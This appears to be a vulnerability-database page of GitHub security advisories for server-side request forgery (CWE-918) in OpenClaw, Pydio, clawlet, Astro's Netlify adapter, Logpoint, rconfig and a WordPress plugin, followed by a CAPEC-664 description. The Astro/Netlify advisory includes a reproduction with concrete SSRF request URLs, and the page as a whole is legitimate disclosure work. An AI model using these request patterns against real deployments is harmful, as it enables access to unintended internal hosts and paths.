      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/daeb74920d5ad986cb600625180037e23221e93a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-ssrf-policy-bypass-in-existing-session-browser-interaction-routes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Existing-session browser interaction routes bypassed SSRF policy enforcement"
}

GHSA-528P-FQC4-66RM

Vulnerability from github – Published: 2022-05-14 02:58 – Updated: 2022-05-14 02:58
VLAI
Details

Pydio version 8.2.0 and earlier contains a Server-Side Request Forgery (SSRF) vulnerability in plugins/action.updater/UpgradeManager.php Line: 154, getUpgradePath($url) that can result in an authenticated admin users requesting arbitrary URL's, pivoting requests through the server. This attack appears to be exploitable via the attacker gaining access to an administrative account, enters a URL into Upgrade Engine, and reloads the page or presses "Check Now". This vulnerability appears to have been fixed in 8.2.1.

Severity
4.9 (Medium)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-1999017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-23T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Pydio version 8.2.0 and earlier contains a Server-Side Request Forgery (SSRF) vulnerability in plugins/action.updater/UpgradeManager.php Line: 154, getUpgradePath($url) that can result in an authenticated admin users requesting arbitrary URL\u0027s, pivoting requests through the server. This attack appears to be exploitable via the attacker gaining access to an administrative account, enters a URL into Upgrade Engine, and reloads the page or presses \"Check Now\". This vulnerability appears to have been fixed in 8.2.1.",
  "id": "GHSA-528p-fqc4-66rm",
  "modified": "2022-05-14T02:58:57Z",
  "published": "2022-05-14T02:58:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1999017"
    },
    {
      "type": "WEB",
      "url": "https://pydio.com/en/community/releases/pydio-core/pydio-821-security-release"
    },
    {
      "type": "WEB",
      "url": "https://www.mike-gualtieri.com/files/Pydio-8-VulnerabilityDisclosure-Jul18.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5293-6WQF-75GR

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31
VLAI
Details

A weakness has been identified in mosaxiv clawlet up to 0.2.10. The impacted element is the function web_fetch of the file tools/tool_web_fetch.go of the component IPv4 Handler. This manipulation of the argument url causes server-side request forgery. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The reported GitHub issue was closed with the label "not planned".

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-15619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T00:16:18Z",
    "severity": "LOW"
  },
  "details": "A weakness has been identified in mosaxiv clawlet up to 0.2.10. The impacted element is the function web_fetch of the file tools/tool_web_fetch.go of the component IPv4 Handler. This manipulation of the argument url causes server-side request forgery. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The reported GitHub issue was closed with the label \"not planned\".",
  "id": "GHSA-5293-6wqf-75gr",
  "modified": "2026-07-14T00:31:05Z",
  "published": "2026-07-14T00:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mosaxiv/clawlet/issues/13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mosaxiv/clawlet"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-15619"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855793"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378122"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378122/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-529G-XQ4F-CW38

Vulnerability from github – Published: 2026-06-16 14:37 – Updated: 2026-07-18 17:24
VLAI
Summary
@astrojs/netlify broadens Astro image.remotePatterns in Netlify Image CDN config
Details

Summary

@astrojs/netlify converts Astro image.remotePatterns into Netlify Image CDN images.remote_images regular expressions with broader semantics than Astro's canonical matcher. A single wildcard hostname such as *.example.com is converted to an optional subdomain regex, so the apex host matches. A single wildcard pathname such as /ok/* is converted without end anchoring, so deeper paths match by prefix.

Technical details

The Netlify adapter generates regex strings for Netlify Image CDN from image.remotePatterns. For *.example.com, it emits ([a-z0-9-]+\\.)?example\\.com, which makes the subdomain optional. Astro's canonical helper requires exactly one subdomain and rejects the apex host.

For /ok/*, the adapter emits a segment regex but does not anchor the end of the URL. Netlify's Image CDN implementation treats images.remote_images entries as JavaScript regular expressions and calls .test(sourceImageUrl.href), so a URL such as /ok/a/b.svg matches the /ok/a prefix even though Astro's helper rejects it.

The latest npm package @astrojs/netlify@7.0.10 contains this conversion logic, and a minimal Astro build writes the broadened patterns into .netlify/v1/config.json.

Reproduction

  1. Create an Astro app using astro@6.3.8 and @astrojs/netlify@7.0.10.
  2. Configure Netlify output and a restrictive image pattern, for example remotePatterns: [{ protocol: 'http', hostname: '*.localhost', pathname: '/ok/*' }].
  3. Build the app and observe that .netlify/v1/config.json contains http://([a-z0-9-]+\\.)?localhost(:[0-9]+)?(\\/ok/[^/?#]+)/?([?][^#]*)?.
  4. Serve a canary SVG on 127.0.0.1:9001.
  5. Request /.netlify/images?url=http%3A%2F%2Flocalhost%3A9001%2Fok%2Fa.svg&w=100. Astro's helper rejects the apex localhost for *.localhost, but Netlify Image CDN accepts it and fetches the canary.
  6. As a negative control, request /.netlify/images?url=http%3A%2F%2Flocalhost%3A9001%2Fnope%2Fa.svg&w=100. This returns 403 Forbidden: Remote image URL not allowed and does not hit the canary.
  7. Request /.netlify/images?url=http%3A%2F%2Flocalhost%3A9001%2Fok%2Fa%2Fb.svg&w=100. Astro's /ok/* helper rejects this deeper path, but Netlify Image CDN accepts it and fetches the canary.

Impact

Any Astro app deployed with @astrojs/netlify and a restrictive image.remotePatterns config can expose a wider image-fetch boundary than intended. Public requests to the Netlify Image CDN endpoint can fetch URLs that Astro's own matcher would reject, including apex hosts for *.host patterns and deeper paths for /path/* patterns. The practical impact depends on what the application intended to isolate behind the remote image allowlist, but it can disclose image-like resources from unintended hosts or paths behind the same configured remote origin family.

Remediation

Generate regexes that exactly match Astro's canonical matchHostname and matchPathname semantics, and anchor the full URL match before writing images.remote_images. In particular, *.example.com should require exactly one subdomain and should not match example.com, and /ok/* should match exactly one additional path segment and should not match /ok/a/b.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/netlify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:37:33Z",
    "nvd_published_at": "2026-06-22T19:17:21Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`@astrojs/netlify` converts Astro `image.remotePatterns` into Netlify Image CDN `images.remote_images` regular expressions with broader semantics than Astro\u0027s canonical matcher. A single wildcard hostname such as `*.example.com` is converted to an optional subdomain regex, so the apex host matches. A single wildcard pathname such as `/ok/*` is converted without end anchoring, so deeper paths match by prefix.\n\n## Technical details\n\nThe Netlify adapter generates regex strings for Netlify Image CDN from `image.remotePatterns`. For `*.example.com`, it emits `([a-z0-9-]+\\\\.)?example\\\\.com`, which makes the subdomain optional. Astro\u0027s canonical helper requires exactly one subdomain and rejects the apex host.\n\nFor `/ok/*`, the adapter emits a segment regex but does not anchor the end of the URL. Netlify\u0027s Image CDN implementation treats `images.remote_images` entries as JavaScript regular expressions and calls `.test(sourceImageUrl.href)`, so a URL such as `/ok/a/b.svg` matches the `/ok/a` prefix even though Astro\u0027s helper rejects it.\n\nThe latest npm package `@astrojs/netlify@7.0.10` contains this conversion logic, and a minimal Astro build writes the broadened patterns into `.netlify/v1/config.json`.\n\n## Reproduction\n\n1. Create an Astro app using `astro@6.3.8` and `@astrojs/netlify@7.0.10`.\n2. Configure Netlify output and a restrictive image pattern, for example `remotePatterns: [{ protocol: \u0027http\u0027, hostname: \u0027*.localhost\u0027, pathname: \u0027/ok/*\u0027 }]`.\n3. Build the app and observe that `.netlify/v1/config.json` contains `http://([a-z0-9-]+\\\\.)?localhost(:[0-9]+)?(\\\\/ok/[^/?#]+)/?([?][^#]*)?`.\n4. Serve a canary SVG on `127.0.0.1:9001`.\n5. Request `/.netlify/images?url=http%3A%2F%2Flocalhost%3A9001%2Fok%2Fa.svg\u0026w=100`. Astro\u0027s helper rejects the apex `localhost` for `*.localhost`, but Netlify Image CDN accepts it and fetches the canary.\n6. As a negative control, request `/.netlify/images?url=http%3A%2F%2Flocalhost%3A9001%2Fnope%2Fa.svg\u0026w=100`. This returns `403 Forbidden: Remote image URL not allowed` and does not hit the canary.\n7. Request `/.netlify/images?url=http%3A%2F%2Flocalhost%3A9001%2Fok%2Fa%2Fb.svg\u0026w=100`. Astro\u0027s `/ok/*` helper rejects this deeper path, but Netlify Image CDN accepts it and fetches the canary.\n\n## Impact\n\nAny Astro app deployed with `@astrojs/netlify` and a restrictive `image.remotePatterns` config can expose a wider image-fetch boundary than intended. Public requests to the Netlify Image CDN endpoint can fetch URLs that Astro\u0027s own matcher would reject, including apex hosts for `*.host` patterns and deeper paths for `/path/*` patterns. The practical impact depends on what the application intended to isolate behind the remote image allowlist, but it can disclose image-like resources from unintended hosts or paths behind the same configured remote origin family.\n\n## Remediation\n\nGenerate regexes that exactly match Astro\u0027s canonical `matchHostname` and `matchPathname` semantics, and anchor the full URL match before writing `images.remote_images`. In particular, `*.example.com` should require exactly one subdomain and should not match `example.com`, and `/ok/*` should match exactly one additional path segment and should not match `/ok/a/b`.",
  "id": "GHSA-529g-xq4f-cw38",
  "modified": "2026-07-18T17:24:59Z",
  "published": "2026-06-16T14:37:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-529g-xq4f-cw38"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54300"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@astrojs/netlify broadens Astro image.remotePatterns in Netlify Image CDN config"
}

GHSA-52CX-M9J4-RQ34

Vulnerability from github – Published: 2024-05-07 18:30 – Updated: 2024-07-03 18:39
VLAI
Details

An issue was discovered in Logpoint before 7.4.0. Due to a lack of input validation on URLs in threat intelligence, an attacker with low-level access to the system can trigger Server Side Request Forgery.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-33857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-07T16:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Logpoint before 7.4.0. Due to a lack of input validation on URLs in threat intelligence, an attacker with low-level access to the system can trigger Server Side Request Forgery.",
  "id": "GHSA-52cx-m9j4-rq34",
  "modified": "2024-07-03T18:39:31Z",
  "published": "2024-05-07T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33857"
    },
    {
      "type": "WEB",
      "url": "https://servicedesk.logpoint.com/hc/en-us/articles/18533639896093-Server-Side-Request-Forgery-SSRF-on-Threat-Intelligence"
    },
    {
      "type": "WEB",
      "url": "https://servicedesk.logpoint.com/hc/en-us/categories/200832975-Knowledge-Center"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-52H3-HH53-6GGR

Vulnerability from github – Published: 2023-08-01 15:30 – Updated: 2024-04-04 06:28
VLAI
Details

rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_b parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-39108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-01T14:15:10Z",
    "severity": "HIGH"
  },
  "details": "rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_b parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.",
  "id": "GHSA-52h3-hh53-6ggr",
  "modified": "2024-04-04T06:28:18Z",
  "published": "2023-08-01T15:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zer0yu/CVE_Request/blob/master/rConfig/rConfig_path_b.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-52H6-5XM4-PR2J

Vulnerability from github – Published: 2025-11-05 09:30 – Updated: 2025-11-05 09:30
VLAI
Details

The WPeMatico RSS Feed Fetcher plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.8.11 via the wpematico_test_feed() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11917"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-05T07:15:32Z",
    "severity": "MODERATE"
  },
  "details": "The WPeMatico RSS Feed Fetcher plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.8.11 via the wpematico_test_feed() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-52h6-5xm4-pr2j",
  "modified": "2025-11-05T09:30:24Z",
  "published": "2025-11-05T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11917"
    },
    {
      "type": "WEB",
      "url": "https://github.com/etruel/wpematico/commit/7a281dcfc0868490d62caee54f3b743708fed7cf"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wpematico/tags/2.8.11/app/campaign_edit.php#L24"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wpematico/tags/2.8.11/app/wpematico_functions.php#L1249"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wpematico/tags/2.8.11/app/wpematico_functions.php#L1260"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5a1c6377-c2a7-4344-86bd-d2797db19469?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list